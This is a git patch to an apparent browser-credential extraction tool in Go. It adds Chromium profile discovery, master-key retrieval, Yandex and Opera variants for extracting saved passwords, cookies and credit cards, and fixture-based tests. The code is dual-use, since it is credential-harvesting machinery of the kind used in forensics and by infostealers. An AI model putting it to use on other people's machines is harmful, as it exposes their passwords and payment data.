From 1b8bb1df3da275d094550d5f3a7bb06a96f46a04 Mon Sep 17 00:00:00 2001 From: Roger Date: Thu, 2 Apr 2026 22:36:12 +0800 Subject: [PATCH] feat: add Chromium Browser with new v2 architecture (#530) * feat: add Chromium Browser implementation with new architecture * refactor: replace Walk with ReadDir+Stat for profile discovery * refactor: remove queries override, use extractors for Yandex passwords * refactor: remove dataSource wrapper, use []sourcePath directly * fix: address Copilot review feedback on chromium_new.go * fix: always call key retriever regardless of Local State existence --- browser/chromium/chromium_new.go | 242 ++++++++++++ browser/chromium/chromium_new_test.go | 434 +++++++++++++++++++++ browser/chromium/extract_extension.go | 29 +- browser/chromium/extract_extension_test.go | 34 ++ browser/chromium/extract_password.go | 15 +- browser/chromium/extract_password_test.go | 9 +- browser/chromium/source.go | 123 ++++-- browser/firefox/source.go | 34 +- types/category.go | 33 ++ 9 files changed, 899 insertions(+), 54 deletions(-) create mode 100644 browser/chromium/chromium_new.go create mode 100644 browser/chromium/chromium_new_test.go diff --git a/browser/chromium/chromium_new.go b/browser/chromium/chromium_new.go new file mode 100644 index 0000000..089d696 --- /dev/null +++ b/browser/chromium/chromium_new.go @@ -0,0 +1,242 @@ +package chromium + +import ( + "os" + "path/filepath" + + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/filemanager" + "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/types" + "github.com/moond4rk/hackbrowserdata/utils/fileutil" +) + +// Browser represents a single Chromium profile ready for extraction. +type Browser struct { + cfg types.BrowserConfig + name string // display name: "Chrome-Default" + profileDir string // absolute path to profile directory + sources map[types.Category][]sourcePath // Category → candidate paths (priority order) + extractors map[types.Category]categoryExtractor // Category → custom extract function override + sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path +} + +// NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns +// one Browser per profile. Uses ReadDir to find profile directories, +// then Stat to check which data sources exist in each profile. +func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) { + sources := sourcesForKind(cfg.Kind) + extractors := extractorsForKind(cfg.Kind) + + profileDirs := discoverProfiles(cfg.UserDataDir, sources) + if len(profileDirs) == 0 { + return nil, nil + } + + var browsers []*Browser + for _, profileDir := range profileDirs { + sourcePaths := resolveSourcePaths(sources, profileDir) + if len(sourcePaths) == 0 { + continue + } + browsers = append(browsers, &Browser{ + cfg: cfg, + name: cfg.Name + "-" + filepath.Base(profileDir), + profileDir: profileDir, + sources: sources, + extractors: extractors, + sourcePaths: sourcePaths, + }) + } + return browsers, nil +} + +func (b *Browser) Name() string { + return b.name +} + +// Extract copies browser files to a temp directory, retrieves the master key, +// and extracts data for the requested categories. +func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, error) { + session, err := filemanager.NewSession() + if err != nil { + return nil, err + } + defer session.Cleanup() + + tempPaths := b.acquireFiles(session, categories) + + masterKey, err := b.getMasterKey(session) + if err != nil { + log.Debugf("get master key for %s: %v", b.name, err) + } + + data := &types.BrowserData{} + for _, cat := range categories { + path, ok := tempPaths[cat] + if !ok { + continue + } + b.extractCategory(data, cat, masterKey, path) + } + return data, nil +} + +// acquireFiles copies source files to the session temp directory. +func (b *Browser) acquireFiles(session *filemanager.Session, categories []types.Category) map[types.Category]string { + tempPaths := make(map[types.Category]string) + for _, cat := range categories { + rp, ok := b.sourcePaths[cat] + if !ok { + continue + } + dst := filepath.Join(session.TempDir(), cat.String()) + if err := session.Acquire(rp.absPath, dst, rp.isDir); err != nil { + log.Debugf("acquire %s: %v", cat, err) + continue + } + tempPaths[cat] = dst + } + return tempPaths +} + +// getMasterKey retrieves the Chromium master encryption key. +// +// On Windows, the key is read from the Local State file and decrypted via DPAPI. +// On macOS, the key is derived from Keychain (Local State is not needed). +// On Linux, the key is derived from D-Bus Secret Service or a fallback password. +// +// The retriever is always called regardless of whether Local State exists, +// because macOS/Linux retrievers don't need it. +func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) { + // Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux). + // Multi-profile layout: Local State is in the parent of profileDir. + // Flat layout (Opera): Local State is alongside data files in profileDir. + var localStateDst string + for _, dir := range []string{filepath.Dir(b.profileDir), b.profileDir} { + candidate := filepath.Join(dir, "Local State") + if fileutil.IsFileExists(candidate) { + localStateDst = filepath.Join(session.TempDir(), "Local State") + if err := session.Acquire(candidate, localStateDst, false); err != nil { + return nil, err + } + break + } + } + + retriever := keyretriever.DefaultRetriever(b.cfg.KeychainPassword) + return retriever.RetrieveKey(b.cfg.Storage, localStateDst) +} + +// extractCategory calls the appropriate extract function for a category. +// If a custom extractor is registered for this category (via extractorsForKind), +// it is used instead of the default switch logic. +func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, masterKey []byte, path string) { + if ext, ok := b.extractors[cat]; ok { + if err := ext.extract(masterKey, path, data); err != nil { + log.Debugf("extract %s for %s: %v", cat, b.name, err) + } + return + } + + var err error + switch cat { + case types.Password: + data.Passwords, err = extractPasswords(masterKey, path) + case types.Cookie: + data.Cookies, err = extractCookies(masterKey, path) + case types.History: + data.Histories, err = extractHistories(path) + case types.Download: + data.Downloads, err = extractDownloads(path) + case types.Bookmark: + data.Bookmarks, err = extractBookmarks(path) + case types.CreditCard: + data.CreditCards, err = extractCreditCards(masterKey, path) + case types.Extension: + data.Extensions, err = extractExtensions(path) + case types.LocalStorage: + data.LocalStorage, err = extractLocalStorage(path) + case types.SessionStorage: + data.SessionStorage, err = extractSessionStorage(path) + } + if err != nil { + log.Debugf("extract %s for %s: %v", cat, b.name, err) + } +} + +// discoverProfiles lists subdirectories of userDataDir that contain at least +// one known data source. Each such directory is a browser profile. +func discoverProfiles(userDataDir string, sources map[types.Category][]sourcePath) []string { + entries, err := os.ReadDir(userDataDir) + if err != nil { + log.Debugf("read user data dir %s: %v", userDataDir, err) + return nil + } + + var profiles []string + for _, e := range entries { + if !e.IsDir() || isSkippedDir(e.Name()) { + continue + } + dir := filepath.Join(userDataDir, e.Name()) + if hasAnySource(sources, dir) { + profiles = append(profiles, dir) + } + } + + // Flat layout fallback (older Opera): data files directly in userDataDir + if len(profiles) == 0 && hasAnySource(sources, userDataDir) { + profiles = append(profiles, userDataDir) + } + return profiles +} + +// hasAnySource checks if dir contains at least one source file or directory. +func hasAnySource(sources map[types.Category][]sourcePath, dir string) bool { + for _, candidates := range sources { + for _, sp := range candidates { + abs := filepath.Join(dir, sp.rel) + if _, err := os.Stat(abs); err == nil { + return true + } + } + } + return false +} + +// resolvedPath holds the absolute path and type for a discovered source. +type resolvedPath struct { + absPath string + isDir bool +} + +// resolveSourcePaths checks which sources actually exist in profileDir. +// Candidates are tried in priority order; the first existing path wins. +func resolveSourcePaths(sources map[types.Category][]sourcePath, profileDir string) map[types.Category]resolvedPath { + resolved := make(map[types.Category]resolvedPath) + for cat, candidates := range sources { + for _, sp := range candidates { + abs := filepath.Join(profileDir, sp.rel) + info, err := os.Stat(abs) + if err != nil { + continue + } + if sp.isDir == info.IsDir() { + resolved[cat] = resolvedPath{abs, sp.isDir} + break + } + } + } + return resolved +} + +// isSkippedDir returns true for directory names that should never be +// treated as browser profiles. +func isSkippedDir(name string) bool { + switch name { + case "System Profile", "Guest Profile", "Snapshot": + return true + } + return false +} diff --git a/browser/chromium/chromium_new_test.go b/browser/chromium/chromium_new_test.go new file mode 100644 index 0000000..a776641 --- /dev/null +++ b/browser/chromium/chromium_new_test.go @@ -0,0 +1,434 @@ +package chromium + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/filemanager" + "github.com/moond4rk/hackbrowserdata/types" +) + +// --------------------------------------------------------------------------- +// Shared fixture +// --------------------------------------------------------------------------- + +var fixture struct { + root string + chrome string // multi-profile + skipped dirs + opera string // has Default/ + operaFlat string // no Default/, data in root + yandex string // Ya Passman Data, Ya Credit Cards + oldCookies string // Cookies at root (no Network/) + bothCookies string // Network/Cookies + Cookies + leveldb string // Local Storage/leveldb + Session Storage + leveldbOnly string // only LevelDB dirs, no files + empty string +} + +func TestMain(m *testing.M) { + root, err := os.MkdirTemp("", "chromium-test-*") + if err != nil { + panic(err) + } + fixture.root = root + buildFixtures() + code := m.Run() + os.RemoveAll(root) + os.Exit(code) +} + +func buildFixtures() { + fixture.chrome = filepath.Join(fixture.root, "chrome") + mkFile(fixture.chrome, "Local State") + for _, p := range []string{"Default", "Profile 1", "Profile 3"} { + mkFile(fixture.chrome, p, "Login Data") + mkFile(fixture.chrome, p, "History") + mkFile(fixture.chrome, p, "Bookmarks") + mkFile(fixture.chrome, p, "Web Data") + mkFile(fixture.chrome, p, "Secure Preferences") + mkFile(fixture.chrome, p, "Network", "Cookies") + mkDir(fixture.chrome, p, "Local Storage", "leveldb") + mkDir(fixture.chrome, p, "Session Storage") + } + mkFile(fixture.chrome, "System Profile", "History") + mkFile(fixture.chrome, "Guest Profile", "History") + mkFile(fixture.chrome, "Snapshot", "Default", "History") + + fixture.opera = filepath.Join(fixture.root, "opera") + mkFile(fixture.opera, "Local State") + mkFile(fixture.opera, "Default", "Login Data") + mkFile(fixture.opera, "Default", "History") + mkFile(fixture.opera, "Default", "Bookmarks") + mkFile(fixture.opera, "Default", "Cookies") + + fixture.operaFlat = filepath.Join(fixture.root, "opera-flat") + mkFile(fixture.operaFlat, "Local State") + mkFile(fixture.operaFlat, "Login Data") + mkFile(fixture.operaFlat, "History") + mkFile(fixture.operaFlat, "Cookies") + + fixture.yandex = filepath.Join(fixture.root, "yandex") + mkFile(fixture.yandex, "Local State") + mkFile(fixture.yandex, "Default", "Ya Passman Data") + mkFile(fixture.yandex, "Default", "Ya Credit Cards") + mkFile(fixture.yandex, "Default", "History") + mkFile(fixture.yandex, "Default", "Network", "Cookies") + mkFile(fixture.yandex, "Default", "Bookmarks") + + fixture.oldCookies = filepath.Join(fixture.root, "old-cookies") + mkFile(fixture.oldCookies, "Default", "History") + mkFile(fixture.oldCookies, "Default", "Cookies") + + fixture.bothCookies = filepath.Join(fixture.root, "both-cookies") + mkFile(fixture.bothCookies, "Default", "Cookies") + mkFile(fixture.bothCookies, "Default", "Network", "Cookies") + + fixture.leveldb = filepath.Join(fixture.root, "leveldb") + mkFile(fixture.leveldb, "Default", "History") + mkDir(fixture.leveldb, "Default", "Local Storage", "leveldb") + mkFile(fixture.leveldb, "Default", "Local Storage", "leveldb", "000001.ldb") + mkDir(fixture.leveldb, "Default", "Session Storage") + mkFile(fixture.leveldb, "Default", "Session Storage", "000001.ldb") + + fixture.leveldbOnly = filepath.Join(fixture.root, "leveldb-only") + mkDir(fixture.leveldbOnly, "Default", "Local Storage", "leveldb") + mkDir(fixture.leveldbOnly, "Default", "Session Storage") + + fixture.empty = filepath.Join(fixture.root, "empty") + mkDir(fixture.empty) +} + +func mkFile(parts ...string) { + path := filepath.Join(parts...) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + panic(err) + } + if err := os.WriteFile(path, []byte("test"), 0o644); err != nil { + panic(err) + } +} + +func mkDir(parts ...string) { + if err := os.MkdirAll(filepath.Join(parts...), 0o755); err != nil { + panic(err) + } +} + +// --------------------------------------------------------------------------- +// NewBrowsers: table-driven, covers all layouts end-to-end +// --------------------------------------------------------------------------- + +func TestNewBrowsers(t *testing.T) { + tests := []struct { + name string + dir string + kind types.BrowserKind + wantProfiles []string // expected profile base names + wantCats map[string][]string // profile → expected category base names (spot check) + wantDirs []types.Category // categories that should be isDir=true + skipProfiles []string // should NOT appear + }{ + { + name: "chrome multi-profile", + dir: fixture.chrome, + kind: types.KindChromium, + wantProfiles: []string{"Default", "Profile 1", "Profile 3"}, + wantCats: map[string][]string{ + "Default": {"Login Data", "Cookies", "History", "Bookmarks", "Web Data", "Secure Preferences", "leveldb", "Session Storage"}, + }, + wantDirs: []types.Category{types.LocalStorage, types.SessionStorage}, + skipProfiles: []string{"System Profile", "Guest Profile", "Snapshot"}, + }, + { + name: "opera with Default", + dir: fixture.opera, + kind: types.KindChromium, + wantProfiles: []string{"Default"}, + wantCats: map[string][]string{ + "Default": {"Login Data", "History", "Bookmarks", "Cookies"}, + }, + }, + { + name: "opera flat layout", + dir: fixture.operaFlat, + kind: types.KindChromium, + wantProfiles: []string{filepath.Base(fixture.operaFlat)}, // userDataDir itself + wantCats: map[string][]string{ + filepath.Base(fixture.operaFlat): {"Login Data", "History", "Cookies"}, + }, + }, + { + name: "yandex custom files", + dir: fixture.yandex, + kind: types.KindChromiumYandex, + wantProfiles: []string{"Default"}, + wantCats: map[string][]string{ + "Default": {"Ya Passman Data", "Ya Credit Cards", "History", "Cookies", "Bookmarks"}, + }, + }, + { + name: "old cookies fallback", + dir: fixture.oldCookies, + kind: types.KindChromium, + wantProfiles: []string{"Default"}, + }, + { + name: "cookie priority", + dir: fixture.bothCookies, + kind: types.KindChromium, + wantProfiles: []string{"Default"}, + }, + { + name: "leveldb directories", + dir: fixture.leveldb, + kind: types.KindChromium, + wantProfiles: []string{"Default"}, + wantDirs: []types.Category{types.LocalStorage, types.SessionStorage}, + }, + { + name: "leveldb only", + dir: fixture.leveldbOnly, + kind: types.KindChromium, + wantProfiles: []string{"Default"}, + wantDirs: []types.Category{types.LocalStorage, types.SessionStorage}, + }, + { + name: "empty dir", + dir: fixture.empty, + kind: types.KindChromium, + }, + { + name: "nonexistent dir", + dir: "/nonexistent/path", + kind: types.KindChromium, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + cfg := types.BrowserConfig{Name: "Test", Kind: tt.kind, UserDataDir: tt.dir} + browsers, err := NewBrowsers(cfg) + require.NoError(t, err) + + if len(tt.wantProfiles) == 0 { + assert.Empty(t, browsers) + return + } + require.Len(t, browsers, len(tt.wantProfiles)) + + nameMap := browsersByProfile(browsers) + assertProfiles(t, nameMap, tt.wantProfiles, tt.skipProfiles) + assertCategories(t, nameMap, tt.wantCats) + assertDirCategories(t, browsers, tt.wantDirs) + }) + } +} + +// --------------------------------------------------------------------------- +// Test helpers +// --------------------------------------------------------------------------- + +func browsersByProfile(browsers []*Browser) map[string]*Browser { + m := make(map[string]*Browser, len(browsers)) + for _, b := range browsers { + m[filepath.Base(b.profileDir)] = b + } + return m +} + +func assertProfiles(t *testing.T, nameMap map[string]*Browser, want, skip []string) { + t.Helper() + for _, w := range want { + assert.Contains(t, nameMap, w, "should find profile %s", w) + } + for _, s := range skip { + assert.NotContains(t, nameMap, s, "should skip %s", s) + } +} + +func assertCategories(t *testing.T, nameMap map[string]*Browser, wantCats map[string][]string) { + t.Helper() + for profileName, wantFiles := range wantCats { + b, ok := nameMap[profileName] + if !ok { + t.Errorf("profile %s not found", profileName) + continue + } + for _, wantFile := range wantFiles { + found := false + for _, rp := range b.sourcePaths { + if filepath.Base(rp.absPath) == wantFile { + found = true + break + } + } + assert.True(t, found, "profile %s should have %s", profileName, wantFile) + } + } +} + +func assertDirCategories(t *testing.T, browsers []*Browser, cats []types.Category) { + t.Helper() + for _, cat := range cats { + for _, b := range browsers { + if rp, ok := b.sourcePaths[cat]; ok { + assert.True(t, rp.isDir, "%s should be isDir=true", cat) + } + } + } +} + +// --------------------------------------------------------------------------- +// Cookie priority: Network/Cookies wins over root Cookies +// --------------------------------------------------------------------------- + +func TestCookiePriority(t *testing.T) { + resolved := resolveSourcePaths(chromiumSources, filepath.Join(fixture.bothCookies, "Default")) + require.Contains(t, resolved, types.Cookie) + assert.Contains(t, resolved[types.Cookie].absPath, "Network", + "Network/Cookies should win over root Cookies") +} + +func TestCookieFallback(t *testing.T) { + resolved := resolveSourcePaths(chromiumSources, filepath.Join(fixture.oldCookies, "Default")) + require.Contains(t, resolved, types.Cookie) + assert.NotContains(t, resolved[types.Cookie].absPath, "Network", + "should fallback to root Cookies when Network/Cookies missing") +} + +// --------------------------------------------------------------------------- +// History/Download share the same source file +// --------------------------------------------------------------------------- + +func TestSharedSourceFile(t *testing.T) { + resolved := resolveSourcePaths(chromiumSources, filepath.Join(fixture.chrome, "Default")) + assert.Equal(t, resolved[types.History].absPath, resolved[types.Download].absPath) +} + +// --------------------------------------------------------------------------- +// Source helpers +// --------------------------------------------------------------------------- + +func TestSourcesForKind(t *testing.T) { + chromium := sourcesForKind(types.KindChromium) + yandex := sourcesForKind(types.KindChromiumYandex) + + assert.Equal(t, "Login Data", chromium[types.Password][0].rel) + assert.Equal(t, "Ya Passman Data", yandex[types.Password][0].rel) + // Yandex inherits non-overridden categories + assert.Equal(t, chromium[types.History][0].rel, yandex[types.History][0].rel) +} + +func TestExtractorsForKind(t *testing.T) { + assert.Nil(t, extractorsForKind(types.KindChromium)) + + yandexExt := extractorsForKind(types.KindChromiumYandex) + require.NotNil(t, yandexExt) + assert.Contains(t, yandexExt, types.Password) + + operaExt := extractorsForKind(types.KindChromiumOpera) + require.NotNil(t, operaExt) + assert.Contains(t, operaExt, types.Extension) +} + +// TestExtractCategory_CustomExtractor verifies that extractCategory dispatches +// through a registered extractor instead of the default switch logic. +func TestExtractCategory_CustomExtractor(t *testing.T) { + // Create a Browser with a custom extractor that records it was called + called := false + testExtractor := extensionExtractor{ + fn: func(path string) ([]types.ExtensionEntry, error) { + called = true + return []types.ExtensionEntry{{Name: "custom", ID: "test-id"}}, nil + }, + } + + b := &Browser{ + extractors: map[types.Category]categoryExtractor{ + types.Extension: testExtractor, + }, + } + + data := &types.BrowserData{} + b.extractCategory(data, types.Extension, nil, "unused-path") + + assert.True(t, called, "custom extractor should be called") + require.Len(t, data.Extensions, 1) + assert.Equal(t, "custom", data.Extensions[0].Name) +} + +// TestExtractCategory_DefaultFallback verifies that extractCategory uses +// the default switch when no extractor is registered. +func TestExtractCategory_DefaultFallback(t *testing.T) { + path := createTestDB(t, "History", urlsSchema, + insertURL("https://example.com", "Example", 3, 13350000000000000), + ) + + b := &Browser{ + name: "Test", + extractors: nil, // no custom extractors + } + + data := &types.BrowserData{} + b.extractCategory(data, types.History, nil, path) + + require.Len(t, data.Histories, 1) + assert.Equal(t, "Example", data.Histories[0].Title) +} + +// --------------------------------------------------------------------------- +// acquireFiles +// --------------------------------------------------------------------------- + +func TestAcquireFiles(t *testing.T) { + profileDir := filepath.Join(fixture.chrome, "Default") + resolved := resolveSourcePaths(chromiumSources, profileDir) + + b := &Browser{profileDir: profileDir, sources: chromiumSources, sourcePaths: resolved} + + session, err := filemanager.NewSession() + require.NoError(t, err) + defer session.Cleanup() + + cats := []types.Category{types.History, types.Cookie, types.Bookmark} + paths := b.acquireFiles(session, cats) + + assert.Len(t, paths, len(cats)) + for _, p := range paths { + _, err := os.Stat(p) + assert.NoError(t, err, "acquired file should exist") + } +} + +// --------------------------------------------------------------------------- +// Local State path validation +// --------------------------------------------------------------------------- + +func TestLocalStatePath(t *testing.T) { + tests := []struct { + name string + dir string + want bool // Local State should be at Dir(profileDir)/Local State + }{ + {"chrome", fixture.chrome, true}, + {"opera", fixture.opera, true}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + browsers, err := NewBrowsers(types.BrowserConfig{Name: "Test", Kind: types.KindChromium, UserDataDir: tt.dir}) + require.NoError(t, err) + require.NotEmpty(t, browsers) + + for _, b := range browsers { + localState := filepath.Join(filepath.Dir(b.profileDir), "Local State") + if tt.want { + assert.FileExists(t, localState) + } + } + }) + } +} diff --git a/browser/chromium/extract_extension.go b/browser/chromium/extract_extension.go index 794e8a0..185137c 100644 --- a/browser/chromium/extract_extension.go +++ b/browser/chromium/extract_extension.go @@ -9,20 +9,28 @@ import ( "github.com/moond4rk/hackbrowserdata/types" ) +// defaultExtensionKeys are the JSON paths tried for standard Chromium browsers. +var defaultExtensionKeys = []string{ + "extensions.settings", + "settings.extensions", + "settings.settings", +} + func extractExtensions(path string) ([]types.ExtensionEntry, error) { + return extractExtensionsWithKeys(path, defaultExtensionKeys) +} + +// extractExtensionsWithKeys reads Secure Preferences and looks for extension +// settings under the given JSON key paths. This allows browser variants +// (e.g. Opera with "extensions.opsettings") to reuse the same parsing logic. +func extractExtensionsWithKeys(path string, keys []string) ([]types.ExtensionEntry, error) { data, err := os.ReadFile(path) if err != nil { return nil, err } - // Try known JSON paths for extension settings - settingKeys := []string{ - "extensions.settings", - "settings.extensions", - "settings.settings", - } var settings gjson.Result - for _, key := range settingKeys { + for _, key := range keys { settings = gjson.GetBytes(data, key) if settings.Exists() { break @@ -59,3 +67,10 @@ func extractExtensions(path string) ([]types.ExtensionEntry, error) { return extensions, nil } + +// extractOperaExtensions extracts extensions from Opera's Secure Preferences, +// which stores extension data under "extensions.opsettings" instead of the +// standard "extensions.settings". +func extractOperaExtensions(path string) ([]types.ExtensionEntry, error) { + return extractExtensionsWithKeys(path, []string{"extensions.opsettings"}) +} diff --git a/browser/chromium/extract_extension_test.go b/browser/chromium/extract_extension_test.go index 97dac90..52159f5 100644 --- a/browser/chromium/extract_extension_test.go +++ b/browser/chromium/extract_extension_test.go @@ -75,3 +75,37 @@ func TestExtractExtensions_MissingSettingsPath(t *testing.T) { _, err := extractExtensions(path) require.Error(t, err) } + +func TestExtractOperaExtensions(t *testing.T) { + path := createTestJSON(t, "Secure Preferences", `{ + "extensions": { + "opsettings": { + "opera-ext-1": { + "location": 1, + "manifest": { + "name": "Opera Ad Blocker", + "description": "Blocks ads in Opera", + "version": "2.0.0" + }, + "state": 1 + }, + "system-ext": { + "location": 5, + "manifest": {"name": "System", "version": "1.0"} + } + } + } + }`) + + // extractOperaExtensions should find extensions under opsettings + got, err := extractOperaExtensions(path) + require.NoError(t, err) + require.Len(t, got, 1) // system extension skipped + assert.Equal(t, "Opera Ad Blocker", got[0].Name) + assert.Equal(t, "2.0.0", got[0].Version) + assert.True(t, got[0].Enabled) + + // Standard extractExtensions should fail on the same file (no "extensions.settings") + _, err = extractExtensions(path) + require.Error(t, err) +} diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go index 29b390c..e6964e6 100644 --- a/browser/chromium/extract_password.go +++ b/browser/chromium/extract_password.go @@ -11,11 +11,11 @@ import ( const defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins` -func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry, error) { - if query == "" { - query = defaultLoginQuery - } +func extractPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) { + return extractPasswordsWithQuery(masterKey, path, defaultLoginQuery) +} +func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.LoginEntry, error) { logins, err := sqliteutil.QueryRows(path, false, query, func(rows *sql.Rows) (types.LoginEntry, error) { var url, username string @@ -41,3 +41,10 @@ func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry, }) return logins, nil } + +// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, +// which stores the URL in action_url instead of origin_url. +func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) { + const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins` + return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery) +} diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go index 53c6e83..4ef2de0 100644 --- a/browser/chromium/extract_password_test.go +++ b/browser/chromium/extract_password_test.go @@ -5,8 +5,6 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - - "github.com/moond4rk/hackbrowserdata/types" ) func TestExtractPasswords(t *testing.T) { @@ -15,7 +13,7 @@ func TestExtractPasswords(t *testing.T) { insertLogin("https://new.com", "https://new.com/login", "bob", "", 13360000000000000), ) - got, err := extractPasswords(nil, path, "") + got, err := extractPasswords(nil, path) require.NoError(t, err) require.Len(t, got, 2) @@ -30,13 +28,12 @@ func TestExtractPasswords(t *testing.T) { assert.Empty(t, got[0].Password) } -func TestExtractPasswords_YandexQueryOverride(t *testing.T) { +func TestExtractYandexPasswords(t *testing.T) { path := createTestDB(t, "Ya Passman Data", loginsSchema, insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000), ) - // Yandex uses action_url instead of origin_url - got, err := extractPasswords(nil, path, yandexQueryOverrides[types.Password]) + got, err := extractYandexPasswords(nil, path) require.NoError(t, err) require.Len(t, got, 1) assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url diff --git a/browser/chromium/source.go b/browser/chromium/source.go index 00df7c8..e6301a9 100644 --- a/browser/chromium/source.go +++ b/browser/chromium/source.go @@ -1,37 +1,45 @@ package chromium -import "github.com/moond4rk/hackbrowserdata/types" +import ( + "path/filepath" -// dataSource maps a Category to one or more candidate file paths within a profile directory. -// paths are tried in order; the first one that exists is used. -type dataSource struct { - paths []string // candidate relative paths in priority order - isDir bool // true for LevelDB directories + "github.com/moond4rk/hackbrowserdata/types" +) + +// sourcePath describes a single candidate location for browser data, +// relative to the profile directory. +type sourcePath struct { + rel string // relative path from profileDir, e.g. "Network/Cookies" + isDir bool // true for directory targets (LevelDB, Session Storage) } +func file(rel string) sourcePath { return sourcePath{rel: filepath.FromSlash(rel), isDir: false} } +func dir(rel string) sourcePath { return sourcePath{rel: filepath.FromSlash(rel), isDir: true} } + // chromiumSources defines the standard Chromium file layout. -var chromiumSources = map[types.Category]dataSource{ - types.Password: {paths: []string{"Login Data"}}, - types.Cookie: {paths: []string{"Network/Cookies", "Cookies"}}, - types.History: {paths: []string{"History"}}, - types.Download: {paths: []string{"History"}}, // same file, different query - types.Bookmark: {paths: []string{"Bookmarks"}}, - types.CreditCard: {paths: []string{"Web Data"}}, - types.Extension: {paths: []string{"Secure Preferences"}}, - types.LocalStorage: {paths: []string{"Local Storage/leveldb"}, isDir: true}, - types.SessionStorage: {paths: []string{"Session Storage"}, isDir: true}, +// Each category maps to one or more candidate paths tried in priority order; +// the first existing path wins. +var chromiumSources = map[types.Category][]sourcePath{ + types.Password: {file("Login Data")}, + types.Cookie: {file("Network/Cookies"), file("Cookies")}, + types.History: {file("History")}, + types.Download: {file("History")}, + types.Bookmark: {file("Bookmarks")}, + types.CreditCard: {file("Web Data")}, + types.Extension: {file("Secure Preferences")}, + types.LocalStorage: {dir("Local Storage/leveldb")}, + types.SessionStorage: {dir("Session Storage")}, } // yandexSourceOverrides contains only the entries that differ from chromiumSources. -// At initialization time, these are merged into a copy of chromiumSources. -var yandexSourceOverrides = map[types.Category]dataSource{ - types.Password: {paths: []string{"Ya Passman Data"}}, - types.CreditCard: {paths: []string{"Ya Credit Cards"}}, +var yandexSourceOverrides = map[types.Category][]sourcePath{ + types.Password: {file("Ya Passman Data")}, + types.CreditCard: {file("Ya Credit Cards")}, } // yandexSources returns chromiumSources with Yandex-specific overrides applied. -func yandexSources() map[types.Category]dataSource { - sources := make(map[types.Category]dataSource, len(chromiumSources)) +func yandexSources() map[types.Category][]sourcePath { + sources := make(map[types.Category][]sourcePath, len(chromiumSources)) for k, v := range chromiumSources { sources[k] = v } @@ -41,8 +49,71 @@ func yandexSources() map[types.Category]dataSource { return sources } -// yandexQueryOverrides provides SQL query overrides for Yandex Browser. -// Yandex uses action_url instead of origin_url for password storage. -var yandexQueryOverrides = map[types.Category]string{ - types.Password: `SELECT action_url, username_value, password_value, date_created FROM logins`, +// sourcesForKind returns the source mapping for a browser kind. +func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath { + switch kind { + case types.KindChromiumYandex: + return yandexSources() + default: + return chromiumSources + } +} + +// categoryExtractor extracts data for a single category into BrowserData. +// Implementations wrap typed extract functions to provide a uniform dispatch +// interface while preserving the original function signatures. +// +// Use extractorsForKind to register per-Kind overrides. When an extractor +// is present for a category, extractCategory uses it instead of the default +// switch logic, enabling browser-specific parsing (e.g. Opera's opsettings +// for extensions, Yandex's credit card table, QBCI-encrypted bookmarks). +type categoryExtractor interface { + extract(masterKey []byte, path string, data *types.BrowserData) error +} + +// passwordExtractor wraps a custom password extract function. +type passwordExtractor struct { + fn func(masterKey []byte, path string) ([]types.LoginEntry, error) +} + +func (e passwordExtractor) extract(masterKey []byte, path string, data *types.BrowserData) error { + var err error + data.Passwords, err = e.fn(masterKey, path) + return err +} + +// extensionExtractor wraps a custom extension extract function. +type extensionExtractor struct { + fn func(path string) ([]types.ExtensionEntry, error) +} + +func (e extensionExtractor) extract(_ []byte, path string, data *types.BrowserData) error { + var err error + data.Extensions, err = e.fn(path) + return err +} + +// yandexExtractors overrides Password extraction for Yandex, +// which uses action_url instead of origin_url. +var yandexExtractors = map[types.Category]categoryExtractor{ + types.Password: passwordExtractor{fn: extractYandexPasswords}, +} + +// operaExtractors overrides Extension extraction for Opera, +// which stores settings under "extensions.opsettings". +var operaExtractors = map[types.Category]categoryExtractor{ + types.Extension: extensionExtractor{fn: extractOperaExtensions}, +} + +// extractorsForKind returns custom category extractors for a browser kind. +// nil means all categories use the default extractCategory switch logic. +func extractorsForKind(kind types.BrowserKind) map[types.Category]categoryExtractor { + switch kind { + case types.KindChromiumYandex: + return yandexExtractors + case types.KindChromiumOpera: + return operaExtractors + default: + return nil + } } diff --git a/browser/firefox/source.go b/browser/firefox/source.go index da4480f..c67fd5d 100644 --- a/browser/firefox/source.go +++ b/browser/firefox/source.go @@ -1,21 +1,33 @@ package firefox -import "github.com/moond4rk/hackbrowserdata/types" +import ( + "path/filepath" -// dataSource maps a Category to one or more candidate file paths within a profile directory. + "github.com/moond4rk/hackbrowserdata/types" +) + +// sourcePath describes a single candidate location for browser data, +// relative to the profile directory. +type sourcePath struct { + rel string // relative path from profileDir + isDir bool // true for directory targets +} + +func file(rel string) sourcePath { return sourcePath{rel: filepath.FromSlash(rel), isDir: false} } + +// dataSource holds one or more candidate sourcePaths in priority order. type dataSource struct { - paths []string // candidate relative paths in priority order - 